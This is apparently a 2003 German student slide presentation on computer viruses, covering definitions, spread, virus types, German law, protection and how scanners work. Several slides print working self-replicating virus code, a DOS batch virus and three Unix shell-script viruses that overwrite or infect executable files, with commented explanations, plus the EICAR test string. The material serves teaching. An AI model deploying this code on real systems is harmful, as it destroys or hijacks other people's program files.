22
Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

Embed Size (px)

Citation preview

Page 1: Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

Fachvortrag: Computerviren

Am 05.05.2003

© Kaiser Sebastian / IAV 2

Page 2: Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

Was Euch erwartet!!!- Begriffsdefinition

- Grundsätzlicher Aufbau

- Verbreitungswege

- Lebenszyklus

- Unterschiedliche Arten

- Rechtslage

- Detaillierte Infos über spezielle Virenarten

- Schutz vor Viren / Funktion und Test von Virenscannern

- Quellen und Verweise für tiefere Informationen

Page 3: Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

Allgemeine Begriffsklärung (aus verschiedenen Lexiken)

Computerviren: In Rechner eingeschleuste Störprogramme, die sich vervielfältigen, nachdem

ein Codewort eingegeben oder ein Datum erreicht wird. Computerviren können

zur Verstopfung von Speicher oder Vernichtung ganzer Datenbestände

führen.

Virus (PC): Von einem Programmierer absichtlich erzeugtes Programm zur Manipulation

oder gezielten Zerstörung von Systemen oder Daten.

Page 4: Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

Aufbau grundsätzlich

Vervielfältigungsteil:

sind selbstproduzierend

Programmteil: Schadensroutine (playload)

error error error error error error error error error error error error error error error error error error error error

Page 5: Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

•Disketten und Wechselplatten

•Netzwerke

•Email

•Internet-Downloads

•Internet

Verbreitungswege

Page 6: Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

Lebenszyklus eines Virus

PHASE 1:PHASE 1: ERSTELLUNG ERSTELLUNG

PHASE 2:PHASE 2: VERBREITUNG VERBREITUNG

PHASE 3:PHASE 3: AKTIVIERUNG AKTIVIERUNG

PHASE 4:PHASE 4: ENTDECKUNG ENTDECKUNG

PHASE 5:PHASE 5: ANPASSUNG ANPASSUNG

PHASE 6:PHASE 6: VERNICHTUNG VERNICHTUNG

Virenentwickler

Antiviren - Software

Page 7: Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

ActiveX – Viren

Bootsektor – Viren

Datei – Viren

Java – Viren

Makro – Viren

Würmer

Skript – Viren

Trojaner

Übersicht: Virenarten

Page 8: Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

RechtslageDie Rechtslage im Bereich von Computerviren ist in Deutschland sehr ungenauungenau. Das Programmieren von Computerviren ist demnach nicht ausdrücklich verboten, sehr wohl aber deren - auch nur versuchte - Anwendungauch nur versuchte - Anwendung und vor allem die daraus resultierende Veränderung von DatenVeränderung von Daten. Strafbar ist die Anwendung jedes Virus, auch wenn er keinen Schaden anrichtet, da in jedem Fall durch das Kopieren des Virusprogramms eine Veränderung von Datenbeständen erfolgt, wenngleich es keine wirklich genauen Bestimmungen zur indirekten Verbreitung von Viren, etwa durch Einschleusen in Netzwerke anstatt durch direkten Einsatz an einem zu manipulierenden Computer, gibt. In Deutschland ist allerdings mit weitreichenden Schadenersatzforderungenweitreichenden Schadenersatzforderungen sowie einer Bestrafung für andere, durch den Vireneinsatz begangene Delikte, etwa Betrug durch einen Virus, der Bankguthaben verschiebt, zu rechnen.Immer wieder wird der Einsatz von Viren als Schutz vor RaubkopienSchutz vor Raubkopien diskutiert, d.h. ein illegal benütztes Programm setzt einen Virus frei. Dies ist allerdings rechtlich nur so weit gedeckt, als nur das betroffene Programmnur so weit gedeckt, als nur das betroffene Programm - und kein Byte mehr - in Mitleidenschaft gezogen wird.

Page 9: Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

Kurze Wiederholung

- Wie wird ein Virus definiert?

- In welche Teile ist ein Virus gegliedert?

- Welche Verbreitungswege gibt es?

- Wie schaut der Lebenszyklus aus?

- Welche unterschiedliche Arten gibt es?

- Rechtslage

Page 10: Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

Datei - Virus

Dateiviren infizieren ausführbare Programme (im allgemeinen Dateien mit der Endung .com bzw. .exe). Die meisten dieser Viren versuchen einfach, sich zu vermehren und sich auszubreiten, indem sie andere Wirtsprogramme infizieren – aber einige zerstören versehentlich das Programm, das sie infizieren, indem sie Teile des Originalcodes überschreiben.

Einige dieser Viren haben eine große Zerstörungskraft und sind beispielsweise darauf programmiert, die Festplatte zu einer festgesetzten Zeit zu formatieren oder eine andere böswillige Aktion auszuführen. In vielen Fällen kann ein Dateivirus erfolgreich aus der infizierten Datei entfernt werden. Hat der Virus einen Teil des Programmcodes überschrieben, lässt sich die Originaldatei nicht wiederherstellen.

Page 11: Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

Beispiel: Wagner Virus (batchorientiert)

der von Black Wolf 1993 in Virology 101 praesentiert wurdeder von Black Wolf 1993 in Virology 101 praesentiert wurde

@echo off ctty nul for %%f in (*.exe *.com) do set A=%%f if %A%==COMMAND.COM set A= rename %A% V%A% if not exist V%A% goto end attrib +h V%A% copy %0.bat %A% attrib +r %A% ren %A% *.bat set A= :end ctty con

@if exist V%0.com V%0.com %1 %2 %3 @if exist V%0.exe V%0.exe %1 %2 %3

Befehle werden nicht angezeigt!

Alle Ausgaben ins Nichts leiten.'Benutzer‚sieht nicht, dass Dateien kopiert wurden.

Alle exe und com dateien / in Var. A speichern

Falls A Datei Command.com enthaelt, A=0

gefundene Datei wird umbenannt in Vname

Falls umbenennen nicht möglich ENDE

Datei wird versteckt

Virus (%0%) wird an die Stelle der COM Datei kopiert

Nun wird die Datei vor dem Ueberschreiben geschuetzt

Umbenennung in eine .bat

Page 12: Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

Script - Virus

Skriptviren sind in einer Skript-Programmiersprache wie z.B. VBScript oder JavaScript geschrieben. VBScript (Visual Basic Script)-Viren und JavaScript-Viren machen sich den Microsoft Windows Scripting Host zunutze, um sich selbst zu aktivieren und andere Dateien zu infizieren. Da der Windows Scripting Host auf Windows 98 und Windows 2000 verfügbar ist, können die Viren einfach durch Doppelklick auf die *.vbs- oder *.js-Datei im Windows Explorer aktiviert werden.

Allerdings gibt es neben solchen Skriptviren auch Shell – Script – Viren! (Unix, Linux)

Page 13: Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

Beispiel Script Virus#Overwritter I

for file in *

do

cp $0 $file

done

Beim rechten Bsp. wird vorher getestet, ob es eine Datei ist, sie ausführbar ist und Schreibrechte vorhanden sind!

#Overwritter II for file in * do if test -f $file then if test -x $file then if test -w $file then if grep -s echo $file >.mmm then cp $0 $file fi; fi; fi; fi; fi done rm .mmm -f

Dieses einfache Script kopiert seine Datei über alle anderen Files die es findet!

Page 14: Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

# COCO head -n 24 $0 > .test for file in * do if test -f $file //ist es ein file

then if test -x $file //ausführbar

then if test -w $file //beschreibbar

then if grep -s echo $file >.mmm then head -n 1 $file >.mm if grep -s COCO .mm >.mmm then rm .mm –f else cat $file > .SAVEE cat .test > $file

cat .SAVEE >> $filefi; fi; fi; fi; fi

done rm .test .SAVEE .mmm .mm -f

Das # COCO dient dazu, das der Virus erkennt, ob eine Datei bereits infiziert ist.

( if grep -s COCO .mm >.mmm überprüft dies ). Danach wieder die Tests, ob die Datei ein potentielles Opfer ist. Ist die Datei nicht infiziert, dann kopieren wir sie in eine zweite, versteckte Datei (.SAVEE). Nun ersetzen wir die Zieldatei mit den ersten 24 Zeilen unserer Shell Script Datei, die wir vorher in .test gespeichert haben. ( Die ersten 24 Zeilen sind genau unser Virus )

Nun hängen wir noch die Originaldatei an (cat .SAVEE >> $file ) und die Infektion ist komplett. Nun räumen wir noch alle Dateien auf, die wir während der Infektion erstellt haben.

Page 15: Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

Schutz vor Viren1) Niemals eine "fremde" Diskette einlegen, ohne diese geprüft zu haben. 

2) Im BIOS die Option ausschalten von Diskette oder CD als erstes zu booten, da sich viele Viren über den Bootsektor von Disketten oder anderen Wechselmedien verbreiten.

3) Neue Programme mit einem aktuellen Virenscanner vor der Ausführung prüfen! Bzw. speicherresidenten Virenwächter.

4) Dokumente sollten auch mit einer aktuellen Antivirensoftware regelmäßig geprüft werden. Weiter sollten Sie - sofern vorhanden - die Schutzmechanismen der eingesetzten Applikation aktivieren. Melden diese Schutzfunktionen Makros, wo keine vorhanden sein sollten, ist höchste Vorsicht angebracht. 

5) In Computernetzwerken sollten die Zugriffsrechte für alle Benutzer auf das minimal notwendige Maß reduziert werden. Für Programmdateien sollte nur "Leserecht" existieren. Bei einer eventuellen Infektion kann sich der Virus hierdurch nicht allzu einfach verbreiten.

6) Verwenden Sie Administrator- oder Supervisor-Rechte beim Zugriff auf den Server nur, wenn Sie sie unbedingt benötigen. Erteilen Sie den Benutzern im Login-Verzeichnis keine Schreibrechte, damit die dort liegenden Programme nicht infiziert werden können. Installieren Sie eine gute Antivirensoftware (z.B. TrendMicro) auf Ihrem Server. 

Page 16: Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

Der Virenscanner

Die Erkennung eines Virus kann auf mehrere Arten erfolgen:Die Erkennung eines Virus kann auf mehrere Arten erfolgen:

- Alle Dateien oder Speicherbereiche werden mit einer Byte-Abfolge (Suchstring) verglichendie für einen bestimmten Virus typisch ist und in keinem normalen Programm vorkommt. Dabei können in dem String auch Wildcards ( ? ; * ) enthalten sein, so dass auch Viren gefunden werden, die ihren Code leicht verändern (Polymorphe).

- Eine andere Möglichkeit (Heuristik) besteht darin gewisse Programmteile (Delta Offset Routine, Verschlüsselungsroutine...) zu suchen! Dann wird vermutet, dass die Datei infiziert ist!

- Methode zum Auffinden unbekannter Viren! Emulation Dabei wird jede Datei behandelt als ob sie ausgeführt werden würde, wenn man dann bei diesem Schein-Ausführen bemerkt das der Code der Datei an eine andere gehängt werden soll (oder ähnlich virentypisches Verhalten) wird sie als verdächtigt angezeigt.

Mit dem EICAR – Test – File kann ein Virenscanner getestet werden! ( .com )

"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"

Page 17: Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

Anhang: Virenattacken

Top-Computerviren 1. PE_NIMDA.A-O  1. PE_NIMDA.A-O  2. WORM_KLEZ.H  2. WORM_KLEZ.H  3. JS_NOCLOSE.E  3. JS_NOCLOSE.E  4. PE_FUNLOVE.40994. PE_FUNLOVE.40995. PE_ELKERN.D5. PE_ELKERN.D

Aktuelle Virenhinweise WORM_LOVGATE.C (24.02.03)WORM_LOVGATE.C (24.02.03) WORM_YAHA.P (03.03.03)WORM_YAHA.P (03.03.03) WORM_CYDOG.B (01.03.03)WORM_CYDOG.B (01.03.03) WORM_AGOBOT.D (27.02.03)WORM_AGOBOT.D (27.02.03) WORM_FRETHEM.M (26.02.03)WORM_FRETHEM.M (26.02.03)

Informationen von Informationen von TrendMicroTrendMicro

Page 18: Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

Überblick

- Was ist ein Datei – Virus?

- Was bezeichnet man als Script – Virus?

- Wie schütze ich mich vor Viren?

- Wie arbeitet ein Virenscanner?

Page 19: Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

Quellen und Verweise

http://www.xs4all.nl/~cicatrix Virentutorials

http://www.trendmicro.com Virenscanner - Hersteller

http://www.bsi.de Bundesamt für Sicherheit in der IT

http://www.cert.dfn.de Deutsches Forschungsnetz

http://www.antivir.de Virenscanner – Hersteller

http://www.wildlist.org wildlist (große Gefahr der Infektion)

http://www.snake-basket.de/d/ Infos über Viren / mit „source code“

http://www.eicar.org hier bekommt man das eicar.com File

Page 20: Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

Anhang: kurze Doku der Virennach Techniken

•Speicherresidente Viren: Einige Viren nisten sich resident im Hauptspeicher ein, um jederzeit das System kontrollieren zu können. Unter anderem werden Festplattenzugriffe, Tastatureingaben, Druckerausgaben etc. vom Virus überwacht und ggf. manipuliert. Residente Viren bleiben also nach der Ausführung aktiv und können eine Schadensroutine zu späteren Zeitpunkten ausführen. Der Benutzer wird zwischen der Ausführung des infizierten Programms und einem Schaden, der nach Beendigung des infizierten Programms auftritt, keinen Zusammenhang erkennen. Ein residenter Virus kann vom Zeitpunkt seiner Aktivierung an zu jeder Zeit neue Programmdateien infizieren. Schon das DOS-Kommando DIR führt bei einigen residenten Viren zu einer Infektion. Da es unter Windows (9x und NT) keine eigentlichen residenten Programme (TSR's) mehr gibt, verwenden die Viren sog. Dienste oder VxD's, um eine permanente Kontrolle über das System zu erlangen. Dienste oder VxD's sind Programme, die wie TSR's resident im Speicher verankert sind und ihre Arbeit im Hintergrund verrichten. Residenz ist die Voraussetzung für einige weitere Techniken (siehe Stealth-Viren). Residente Viren können (im Normalfall) im Speicher des Computers mit einem normalen Suchstring erkannt werden.

•Nicht residente Viren werden nur bei der Ausführung des infizierten Programms aktiv und infizieren dann weitere Programme. Sobald das Programm beendet wird, wird der Virus ebenfalls deaktiviert.

•Stealth-Viren sind immer auch speicherresident und versuchen, über spezielle Tricks ihre Anwesenheit im System zu verschleiern. Dazu überwachen und manipulieren sie z.B. Zugriffe auf Programmdateien und das Inhaltsverzeichnis, um so einem Antivirenprogramm oder dem Anwender ein sauberes System vorzugaukeln. Versucht das Betriebssystem, z.B. beim Befehl DIR, die Größe einer infizierten Programmdatei zu ermitteln, subtrahiert der Stealth-Virus von der tatsächlichen Dateilänge die Länge des Viruscodes und täuscht so eine korrekte Programmlänge vor. Wird eine Programmdatei nicht ausgeführt, sondern nur gelesen, z.B. von einem Virenscanner, entfernt der Virus aus der zu lesenden Datei den Viruscode, so dass der Virenscanner den Virus nicht in der Programmdatei finden kann.

•Verschlüsselte Viren: Mit dieser Technik versuchen einige Viren, sich vor Antivirenprogrammen zu verstecken, indem Sie ihren eigenen Programmcode transformieren. Der Virus konvertiert sich dabei selber in verschlüsselte, unleserliche Zeichen, die vom Antivirenprogramm nicht erkannt werden. Um sich allerdings weiter verbreiten zu können und ausgeführt zu werden, muss sich der Virus wieder decodieren und kann dann entdeckt werden.

•Polymorphe Viren: Diese Art von Viren "mutiert" dadurch, dass Sie ihren eigenen Programmcode manipulieren und so bei jeder Infektion ihr "Aussehen" verändern. Hierbei werden z.B. bestimmte Befehle auf unterschiedliche Art und Weise codiert. Polymorphe Viren sind meistens auch noch verschlüsselt. Ein polymorpher Virus kann u.U. mehrere Milliarden verschiedene Mutationen erzeugen und so die Erkennung mit herkömmlichen Suchmethoden (Suchstring) unmöglich machen.

•Direct-Action-Viren infizieren bei der Ausführung des infizierten Programms sofort weitere Programmdateien und führen eine eventuell vorhandene Schadensroutine sofort aus (u.U. nur bei Eintreten bestimmter Bedingungen wie Zeit/Datum, Zähler etc.). Nach der Ausführung übergibt der Virus die Kontrolle an das ursprüngliche Programm und entfernt sich damit aus dem Hauptspeicher. Der Virus führt seine Aktionen direkt nach dem Programmstart aus.

Page 21: Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

•Slow Viren führen ihre Schadensroutine nicht sofort aus, sondern verändern Daten minimal. Sie versuchen dadurch, möglichst lange Zeit unentdeckt zu bleiben. Werden Datenmanipulationen über einen längeren Zeitraum nicht entdeckt oder nicht auf einen Virus zurückgeführt, wird ein Benutzer Datensicherungen durchführen. Diese Datensicherungen enthalten aber schon die manipulierten bzw. verfälschten Daten und sind somit im Falle einer Datenrestaurierung wertlos. Solche langsamen, zerstörerischen Viren können erheblichen Schaden anrichten.

•Dateiviren: Dies sind Viren, die sich an bestehende Programmdateien auf Diskette bzw. Festplatte anhängen, wobei das bestehende Programm (der Wirt) um den Virus erweitert oder der Wirt ganz oder teilweise überschrieben wird. Startet der Anwender solch ein infiziertes Programm, so wird vor der Ausführung des eigentlichen Programms der Virus aktiviert, der seinerseits dann den Wirt aktiviert. Programmviren kommen also (meistens) erst beim Starten von Programmdateien zur Ausführung.

•Bootviren: Diese Art von Computerviren befällt die Systembereiche von Disketten oder Festplatten. Bei diesen Systembereichen handelt es sich um den sogenannten Bootsektor bzw. Master-Bootsektor (Partitionstabelle). Dieser enthält Programmteile, die schon beim Start des Computers (Booten) ausgeführt werden. Infiziert ein Computervirus einen solchen Bereich, wird der Virus aktiviert, sobald der Computer eingeschaltet wird.

•Companion-Viren: sind Viren, die anstatt sich an eine bestehende Datei anzuhängen ein neues Programm erzeugen, von dem der Benutzer allerdings nichts weiß. Dieses neue Programm (der Virus) wird nun anstelle des gewünschten Programms aufgerufen und so der Virus aktiviert. Beim Verlassen dieses Programms wird dann das Original gestartet, so dass der Benutzer nicht merkt, dass er gerade den Virus aktiviert hat. Bei PC's wird dabei normalerweise ein .COM Programm mit dem selben Namen wie die entsprechende .EXE-Datei erzeugt. Durch Eingabe des Namens auf der Kommandozeile wird nun aber (per Systemdefinition) zuerst nach einer .COM-Datei gesucht und diese ggf. gestartet. Nur wenn keine .COM-Datei vorhanden ist, sucht das Betriebssystem anschließend nach der .EXE-Datei und startet sie. Prüfsummenprogramme bemerken solche Viren häufig nicht, da im Originalprogramm keinerlei Veränderung feststellbar ist.

•Tunnelnde Viren: Sind Viren, die nach den originalen Interrupt-Handlern für DOS und das BIOS suchen und diese dann direkt aufrufen. Hierdurch werden eventuelle Wächterprogramme unter DOS umgangen, die sich gerade in diese Interrupts eingeklinkt haben, um Virenaktivitäten erkennen zu können.

•Dropper: Ein Dropper ist ein Programm, das einen richtigen Virus im Zielsystem installiert. Der Virencode ist dabei normalerweise in einer Art und Weise im Dropper enthalten, die es Antivirenprogrammen unmöglich macht, den Virus als solchen im Dropper zu erkennen.

•Active-X-Viren: Bei Active-X handelt es sich um eine Microsoft-spezifische Art, reinen Programmcode von einem (Internet-)Server auf den Arbeitsplatzrechner zu übertragen und dort auszuführen. Viren können dies ausnutzen und sich problemlos weiter verbreiten. Unseres Wissens existiert aber bis auf sog. Malware, also reine Trojaner, heute noch kein funktionierender Virus dieses Typs. Diese Viren sind (derzeit) nur auf dem Betriebssystem MS Windows und dem dort eingesetzten MS Internet-Explorer funktionsfähig.

•VB-Script-Viren: Auch Visual Basic (VB) - Script kann dazu verwendet werden, Programmcode von einem Web-Server auf den Arbeitsplatzrechner zu übertragen und auszuführen. Viren dieses Typs sind im Umlauf. Das reine Ansehen einer Homepage im Internet genügt, um den eigenen Rechner zu infizieren. Allerdings ist wieder nur der MS Internet-Explorer bei abgeschalteten Sicherheitsvorkehrungen betroffen.

•Java Viren: Im Gegensatz zu Java-Applets, die häufig in Browsern zur Animation oder Steuerung bestimmter Dinge verwendet werden, können reine Java-Programme auch sicherheitskritische Operationen ausführen, z.B. auf Festplatte schreiben, usw. Die ersten Viren dieser Machart sind bereits aufgetaucht, mit weiteren ist zu rechnen.

Page 22: Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2

Vielen Dank für Eure Aufmerksamkeit!